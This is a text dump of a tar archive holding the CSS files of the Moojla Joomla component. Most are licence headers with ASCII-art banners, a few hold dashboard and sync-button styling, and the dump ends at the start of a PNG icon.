(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
/* CSS Document */
assets/css/contents.css000064400000002051151165724360011215
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage contents.css
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
/* CSS Document */
assets/css/course.css000064400000002047151165724360010665
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage course.css
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
/* CSS Document */
assets/css/courses.css000064400000002050151165724360011042
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage courses.css
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
/* CSS Document */
assets/css/course_fields_mapper.css000064400000002065151165724360013557
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage course_fields_mapper.css
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
/* CSS Document */
assets/css/course_field_mapper.css000064400000002064151165724360013373
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage course_field_mapper.css
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
/* CSS Document */
assets/css/course_group_map.css000064400000002061151165724360012732
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage course_group_map.css
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
/* CSS Document */
assets/css/course_group_maps.css000064400000002062151165724360013116
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage course_group_maps.css
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
/* CSS Document */
assets/css/dashboard.css000064400000012227151165724360011315
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage dashboard.css
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
/* CSS Document */
.dashboard-container {
margin-left: 10px;
margin-top: 10px;
width: 100%;
}
.dashboard-container [class*="span"] {
display: block;
float: none;
margin-left: 0;
width: auto;
}
.dashboard-container:before, .dashboard-container:after {
content: "";
display: table;
}
.dashboard-container:after {
clear: both;
}
.dashboard-container [class*="span"] {
box-sizing: border-box;
display: block;
float: left;
min-height: 145px;
min-width: 96px;
width: 100%;
}
.dashboard-container [class*="span"]:first-child {
margin-left: 0;
}
.dashboard-wraper {
background: none repeat scroll 0 0 hsl(0, 0%, 93%);
border-radius: 5px;
float: left;
margin: 1%;
padding: 3px;
width: 17%;
min-height: 194px;
min-width: 96px;
}
.dashboard-content a {
background: linear-gradient(to bottom, hsl(0, 0%, 100%) 0%, hsl(0, 0%,
96%) 47%, hsl(0, 0%, 93%) 100%) repeat scroll 0 0 hsla(0, 0%, 0%, 0);
border: 1px solid hsl(0, 0%, 85%);
border-radius: 4px;
box-shadow: 0 0 3px hsla(0, 0%, 0%, 0.1) inset;
color: hsl(0, 0%, 20%);
display: block;
min-height: 89px;
padding: 10px;
text-align: center;
text-decoration: none;
}
.dashboard-content a:hover {
background: linear-gradient(to bottom, hsl(0, 0%, 90%) 0%, hsl(0, 0%,
100%) 100%) repeat scroll 0 0 hsla(0, 0%, 0%, 0);
color: hsl(200, 100%, 30%);
text-decoration: none;
}
.dashboard-title {
display: block;
padding-top: 5px;
}
.dashboard-info {
background: linear-gradient(to bottom, hsl(0, 0%, 100%) 0%, hsl(0, 0%,
96%) 47%, hsl(0, 0%, 93%) 100%) repeat scroll 0 0 hsla(0, 0%, 0%, 0);
border: 1px solid hsl(0, 0%, 85%);
border-radius: 4px;
box-shadow: 0 0 3px hsla(0, 0%, 0%, 0.1) inset;
color: hsl(0, 0%, 20%);
display: block;
font-size: 12px;
padding: 10px;
text-align: center;
}
.dashboard-info span {
display: block;
text-align: center;
}
.dashboard-info img {
margin: 0 auto;
}
.dashboard-table {
border-top: 1px solid hsl(0, 0%, 87%);
margin-top: 5px;
width: 100%;
}
.dashboard-info h5 {
font-size: 11px;
font-weight: bold;
}
.dashboard-block {
background: linear-gradient(to bottom, hsl(0, 0%, 95%) 0%, hsl(0, 0%,
86%) 100%) repeat scroll 0 0 hsla(0, 0%, 0%, 0);
border: 1px solid hsl(0, 0%, 76%);
border-radius: 3px;
box-shadow: 0 1px 0 hsl(0, 0%, 98%) inset;
margin-bottom: 20px;
}
.dashboard-block .dashboard-block-head {
background: linear-gradient(to bottom, hsl(0, 0%, 95%) 0%, hsl(0, 0%,
86%) 100%) repeat scroll 0 0 hsla(0, 0%, 0%, 0);
border-bottom: 1px solid hsl(0, 0%, 76%);
border-radius: 3px 3px 0 0;
box-shadow: 0 1px 0 hsl(0, 0%, 98%) inset, 0 0 3px hsl(0, 0%, 87%);
height: 40px;
position: relative;
}
.dashboard-block .dashboard-block-head h5 {
font-size: 12px;
margin: 0;
padding-left: 10px;
padding-top: 11px;
text-transform: uppercase;
}
.dashboard-block .dashboard-block-content {
background: none repeat scroll 0 0 hsl(0, 0%, 93%);
border-radius: 0 0 3px 3px;
}
.dashboard-block .dashboard-block-box {
background: none repeat scroll 0 0 hsl(0, 0%, 100%);
border-top: 1px solid hsl(0, 0%, 82%);
box-shadow: 0 0 5px hsl(0, 0%, 87%) inset;
}
.dashboard-block .dashboard-block-content .dashboard-block-box {
margin-top: 0 !important;
}
.dashboard-block .dashboard-block-content .dashboard-block-box
.dashboard-block-table {
margin-bottom: 0 !important;
}
.dashboard-block-table {
background-color: hsla(0, 0%, 0%, 0);
border-collapse: collapse;
border-spacing: 0;
margin-bottom: 20px;
max-width: 100%;
width: 100%;
}
.dashboard-block-table th, .dashboard-block-table td {
border-top: 1px solid hsl(0, 0%, 87%);
line-height: 20px;
padding: 5px;
text-align: left;
vertical-align: middle;
}
.dashboard-badge {
background-color: hsl(0, 0%, 60%);
border-radius: 9px;
color: hsl(0, 0%, 100%);
font-size: 11.844px;
font-weight: bold;
line-height: 14px;
padding: 1px 9px 2px;
text-shadow: 0 -1px 0 hsla(0, 0%, 0%, 0.25);
vertical-align: baseline;
white-space: nowrap;
}assets/css/enrolment.css000064400000002052151165724360011364
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage enrolment.css
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
/* CSS Document */
assets/css/enrolments.css000064400000002053151165724360011550
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage enrolments.css
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
/* CSS Document */
assets/css/healthcheck.css000064400000002232151165724360011624
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage healthcheck.css
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
/* CSS Document */
ul.users li:nth-child(n+6) {
display:none;
}
.showmore-btn {
cursor: pointer;
color: #f00;
}
assets/css/index.html000064400000000054151165724360010644
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>assets/css/languagetranslation.css000064400000002064151165724360013426
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage languagetranslation.css
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
/* CSS Document */
assets/css/module.css000064400000002047151165724360010652
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage module.css
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
/* CSS Document */
assets/css/modules.css000064400000002050151165724360011027
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage modules.css
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
/* CSS Document */
assets/css/section.css000064400000002050151165724360011023
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage section.css
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
/* CSS Document */
assets/css/sections.css000064400000002051151165724360011207
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage sections.css
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
/* CSS Document */
assets/css/tag.css000064400000002044151165724360010135
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage tag.css
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
/* CSS Document */
assets/css/tags.css000064400000002045151165724360010321
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage tags.css
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
/* CSS Document */
assets/css/tag_instance.css000064400000002055151165724360012023
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage tag_instance.css
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
/* CSS Document */
assets/css/tag_instances.css000064400000002056151165724360012207
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage tag_instances.css
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
/* CSS Document */
assets/css/user_fields_map.css000064400000002060151165724360012521
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage user_fields_map.css
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
/* CSS Document */
assets/css/user_field_map.css000064400000002057151165724360012344
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage user_field_map.css
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
/* CSS Document */
assets/css/user_map.css000064400000002051151165724360011173
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage user_map.css
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
/* CSS Document */
assets/css/user_maps.css000064400000003162151165724360011362
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage user_maps.css
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
/* CSS Document */
.custom-button-synctomoodle {
border: 1.1px solid #5091cd !important;
color: #fff !important;
background-color: #5091cd !important;
}
.custom-button-synctojoomla {
border: 1.1px solid #7ac143 !important;
color: #fff !important;
background-color: #7ac143 !important;
}
.custom-button-fetchmoodleusers {
border: 1.1px solid #f9a541 !important;
color: #fff !important;
background-color: #f9a541 !important;
}
.custom-button-fetchjoomlausers {
border: 1.1px solid #f44321 !important;
color: #fff !important;
background-color: #f44321 !important;
assets/images/icons/courses.png000064400000022675151165724360012645
0ustar00�PNG
IHDR,^ɰ) pHYs��miTXtXML:com.adobe.xmp<?xpacket
begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP
Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:xmp="http://ns.adobe.com/xap/1.0/"
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
